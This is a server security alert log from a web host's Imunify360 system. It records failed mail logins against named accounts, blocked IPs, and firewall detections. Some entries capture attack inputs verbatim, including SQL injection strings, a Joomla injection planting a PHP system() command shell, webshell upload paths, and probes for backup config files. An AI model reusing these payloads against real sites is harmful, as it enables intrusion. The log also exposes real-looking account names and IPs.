2026-07-23 22:00:59 dovecot_login authenticator failed for H=(nsg-corporate-70.104.187.122.airtel.in) [101.51.52.111]:51603: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.79.170.117
country_id: 1835841
description:
2026-07-23 22:00:48 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [61.79.170.117]:56596: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.79.170.117
country_id: 1835841
description:
Jul 23 22:00:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.79.170.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.51.52.111
country_id: 1605651
description:
Jul 23 22:00:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.51.52.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 22:02:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 152.232.53.79
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://mzgtv01.com\">\xeb\xb0\x9c\xeb\xa1\x9c\xeb\x9e\x80\xed\x8a\xb8\xec\xa4\x91\xea\xb3\x84</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.32.20.78
country_id: 3017382
description:
2026-07-23 22:09:02 dovecot_login authenticator failed for H=vps-5b692794.vps.ovh.net ([199.58.185.11]) [213.32.20.78]:42022: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.12.42.216
country_id: 6252001
description:
Jul 23 22:08:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.12.42.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.42.216
country_id: 6252001
description:
2026-07-23 22:08:14 dovecot_login authenticator failed for H=([45.167.249.253]) [71.12.42.216]:32936: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.74.104.233
country_id: 1562822
description:
2026-07-23 22:08:16 dovecot_login authenticator failed for H=([68.71.247.133]) [115.74.104.233]:39864: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.210.95.88
country_id: 294640
description:
2026-07-23 22:08:46 dovecot_login authenticator failed for H=([27.123.113.30]) [46.210.95.88]:56453: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.12.178
country_id: 1269750
description:
Jul 23 22:08:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.12.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.12.178
country_id: 1269750
description:
2026-07-23 22:08:51 dovecot_login authenticator failed for H=([14.32.231.200]) [182.95.12.178]:53584: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.32.20.78
country_id: 3017382
description:
Jul 23 22:09:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.32.20.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.210.95.88
country_id: 294640
description:
Jul 23 22:08:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.210.95.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 22:13:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.48.176.134
country_id: 3686110
description:
2026-07-23 22:13:41 dovecot_login authenticator failed for H=([196.190.180.18]) [181.48.176.134]:48250: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.29.51.12
country_id: 1605651
description:
Jul 23 22:14:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.29.51.12 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.29.51.12
country_id: 1605651
description:
2026-07-23 22:14:06 dovecot_login authenticator failed for H=([14.33.96.3]) [202.29.51.12]:45626: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.48.176.134
country_id: 3686110
description:
Jul 23 22:13:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.48.176.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.194.162
country_id: 1269750
description:
2026-07-23 22:20:08 dovecot_login authenticator failed for H=([49.124.151.60]) [128.185.194.162]:35258: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.117.155.41
country_id: 1269750
description:
2026-07-23 22:20:33 dovecot_login authenticator failed for H=(host-pq.vsg1-a.v4.dfn.nl) [103.117.155.41]:35678: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.117.155.41
country_id: 1269750
description:
Jul 23 22:20:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.117.155.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 23.161.169.127
country_id: 2635167
domain: ns2.ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||User:alnay||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 23.161.169.127
country_id: 2635167
domain: ns2.ddgalaxy.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.35||T:APACHE||RA:23.161.169.127||TA:23.161.169.127||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 22:24:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 159.223.111.27
country_id: 6252001
description:
2026-07-23 22:29:19 dovecot_login authenticator failed for H=([27.24.141.156]) [159.223.111.27]:45064: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 22:36:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 22:40:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 22:42:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 22:45:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.167.250.45
country_id: 3686110
description:
2026-07-23 22:46:27 dovecot_login authenticator failed for H=([61.149.15.47]) [45.167.250.45]:56082: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.89.199.82
country_id: 6252001
description:
Jul 23 22:46:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.89.199.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.89.199.82
country_id: 6252001
description:
2026-07-23 22:47:00 dovecot_login authenticator failed for H=([220.179.87.203]) [76.89.199.82]:58738: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.167.250.45
country_id: 3686110
description:
Jul 23 22:46:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.167.250.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.86.176.134
country_id: 1835841
description:
Jul 23 22:48:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.86.176.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.124
country_id: 1668284
description:
2026-07-23 22:48:02 dovecot_login authenticator failed for H=111-70-29-124.emome-ip.hinet.net (110-25-110-136.adsl.fetnet.net) [111.70.29.124]:43030: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.144.24.198
country_id: 3017382
description:
Jul 23 22:48:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.144.24.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-23 22:48:40 dovecot_login authenticator failed for H=([104.37.132.51]) [59.12.212.38]:38452: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.144.24.198
country_id: 3017382
description:
2026-07-23 22:48:41 dovecot_login authenticator failed for H=([136.29.52.7]) [185.144.24.198]:35262: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.86.176.134
country_id: 1835841
description:
2026-07-23 22:48:11 dovecot_login authenticator failed for H=([141.105.109.134]) [220.86.176.134]:34688: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.252
country_id: 1668284
description:
2026-07-23 22:48:23 dovecot_login authenticator failed for H=111-70-23-252.emome-ip.hinet.net ([174.75.211.211]) [111.70.23.252]:51418: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.12.212.38
country_id: 1835841
description:
Jul 23 22:48:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.12.212.38 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 23.83.90.2
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://thefiorael.com\">\xeb\xa7\x88\xea\xb3\xa1\xec\x8a\xa4\xec\x9b\xa8\xeb\x94\x94\xec\x8b\x9c</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://samedayhvacrepair3.info\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 157.10.88.61
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.35||T:APACHE||SC:/home/keralapeople/public_html/admin.php||User:keralapeople||WPU:||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.215.1.201
country_id: 2635167
description:
Jul 23 22:54:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.215.1.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.215.1.201
country_id: 2635167
description:
2026-07-23 22:54:15 dovecot_login authenticator failed for H=(static.ftth.rcr.117.254.104.107.bsnl.in) [88.215.1.201]:58236: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.107.84.188
country_id: 7626844
description:
Jul 23 22:54:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.107.84.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.84.188
country_id: 7626844
description:
2026-07-23 22:54:29 dovecot_login authenticator failed for H=([49.124.152.36]) [200.107.84.188]:37832: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.149.93
country_id: 99237
description:
Jul 23 22:56:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.149.93 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.149.93
country_id: 99237
description:
2026-07-23 22:56:05 dovecot_plain authenticator failed for H=(anize) [65.20.149.93]:39571: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 157.10.88.61
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.35||T:APACHE||SC:/home/keralapeople/public_html/wso-byp.php||User:keralapeople||WPU:||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 23 23:00:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 23:02:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 23:03:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 157.10.88.61
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.35||T:APACHE||SC:/home/keralapeople/public_html/alfa/alif.php||User:keralapeople||WPU:||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 157.10.88.61
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:225630||Sizes:184718||Combined size:184718||User:keralapeople||WPU:||Filename:fox35.php||Scanned:/tmp//20260723-230516-amJQ1E7WOIZfLQV5Ay16TgAAAIE-file-UmOWnM||SC:/home/keralapeople/public_html/alfa/alif.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.209.148.60
country_id: 2661886
description:
Jul 23 23:06:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.209.148.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.148.60
country_id: 2661886
description:
2026-07-23 23:06:46 dovecot_login authenticator failed for H=82-209-148-60.cust.bredband2.com ([67.201.58.185]) [82.209.148.60]:37866: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-23 23:07:12 dovecot_login authenticator failed for H=([49.124.151.17]) [188.122.39.33]:55260: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 23:07:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.122.39.33
country_id: 2635167
description:
Jul 23 23:07:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.122.39.33 has been locked due to Imunify RBL


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 157.10.88.61
country_id: 1643084
domain: apkmetal.in
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:yanz@123457||User:apkmetals||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://unblocked-games-76-77.s3.amazonaws.com/index.html\">unblocked games 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.154.84.189
country_id: 2287781
description:
Jul 23 23:21:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.154.84.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.154.84.189
country_id: 2287781
description:
2026-07-23 23:21:02 dovecot_login authenticator failed for H=(108-90-216-10.lightspeed.rcsntx.sbcglobal.net) [160.154.84.189]:41692: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.79.170.117
country_id: 1835841
description:
Jul 23 23:21:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.79.170.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.79.170.117
country_id: 1835841
description:
2026-07-23 23:21:16 dovecot_login authenticator failed for H=(nsg-corporate-183.230.187.122.airtel.in) [61.79.170.117]:49909: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.18
country_id: 1269750
description:
Jul 23 23:22:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.190
country_id: 3175395
description:
Jul 23 23:22:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 23:24:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
Jul 23 23:24:24 vps sudo[3274071]: pam_unix(sudo:auth): authentication failure; logname= uid=1012 euid=0 tty=/dev/pts/1 ruser=keralapeople rhost=  user=keralapeople


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 195.214.74.199
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/web.config||User:fefkadirectors||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 23 23:25:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.235.27.139
country_id: 6252001
description:
Jul 23 23:25:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.235.27.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.27.139
country_id: 6252001
description:
2026-07-23 23:25:33 dovecot_login authenticator failed for H=c-71-235-27-139.hsd1.vt.comcast.net ([67.201.57.102]) [71.235.27.139]:39922: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://bbs.crodigynat.com/home.php?mod=space&uid=53554&do=profile&from=space\">\xe2\x80\x9ctrung t\xc3\xa2m nghi\xc3\xaan c\xe1\xbb\xa9u c\xc3\xa2y tr\xe1\xbb\x93ng\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 209.242.211.108
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://maps.app.goo.gl/dvyuGb2oFmVZNgkX7\">kitchen remodeling</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77142206
name: IM360 WAF: Joomla Com_Fabrik Vulnerabilities (RBL)
abuser: 103.154.151.238
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Joomla Com_Fabrik Vulnerabilities (RBL)||MVN:ARGS:option||MV:com_fabrik||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140923
name: IM360 WAF: Joomla Component Jreservation Blind SQLi Vulnerability (CVE-2009-3316)
abuser: 103.154.151.238
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Joomla Component Jreservation Blind SQLi Vulnerability (CVE-2009-3316)||MVN:ARGS:id||RSV:8.35||T:APACHE||MV:1' OR '1'='1||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 23 23:29:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
Jul 23 23:32:20 vps sudo[3306563]: pam_unix(sudo:auth): authentication failure; logname= uid=1012 euid=0 tty=/dev/pts/1 ruser=keralapeople rhost=  user=keralapeople


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-23 23:35:32 dovecot_login authenticator failed for H=([192.252.216.83]) [50.217.40.11]:42190: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.217.40.11
country_id: 6252001
description:
Jul 23 23:35:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.217.40.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.208.253.159
country_id: 2077456
description:
Jul 23 23:35:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.208.253.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.208.253.159
country_id: 2077456
description:
2026-07-23 23:35:20 dovecot_login authenticator failed for H=([65.20.211.96]) [118.208.253.159]:40918: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.51.12.142
country_id: 1835841
description:
Jul 23 23:38:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.51.12.142 has been locked due to Imunify RBL


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 80.225.239.192
country_id: 1269750
domain: travelinbh.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/ChiefYoru/ChiefYoru/refs/heads/main/template.zip||User:travelinbh||SC:/home/travelinbh/public_html/administrator/index.php||WPU:||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 80.225.239.192
country_id: 1269750
domain: travelinbh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/yoru.php||SC:/home/travelinbh/public_html/images/yoru.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.12.142
country_id: 1835841
description:
2026-07-23 23:38:13 dovecot_login authenticator failed for H=(107-151-229-181.cab.prima.com.ar) [14.51.12.142]:44794: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 149.50.208.114
country_id: 298795
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/fefkadirectors/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 103.154.151.238
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.35||T:APACHE||SC:/home/fefkadirectors/public_html/index.php||User:fefkadirectors||WPU:||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.154.151.238
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:151679||Sizes:31||Combined size:31||User:fefkadirectors||WPU:||Filename:shell.jpg.php||Scanned:/tmp//20260723-234227-amJZiwxThYweA5kJ3img2wAAAUI-file-ssYbN3||SC:/home/fefkadirectors/public_html/index.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 103.154.151.238
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.35||T:APACHE||SC:/home/fefkadirectors/public_html/index.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 103.154.151.238
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' UNION SELECT 1,2,3,4,5,6,7,8,9,10 -- -||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77350943
name: IM360 WAF: PHP superglobals in REQUEST_URI
abuser: 103.154.151.238
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: PHP superglobals in REQUEST_URI||MV:/index.php?option=com_search&searchword=1' UNION UPDATE jos_config SET configvalue='<?php @system($_GET[\"cmd\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 23 23:45:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.17.12.212
country_id: 1269750
description:
Jul 23 23:46:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.17.12.212 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.28.215
country_id: 1269750
description:
2026-07-23 23:46:37 dovecot_login authenticator failed for H=(undefined.hostname.localhost) [49.206.28.215]:22803: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.75
country_id: 1733045
description:
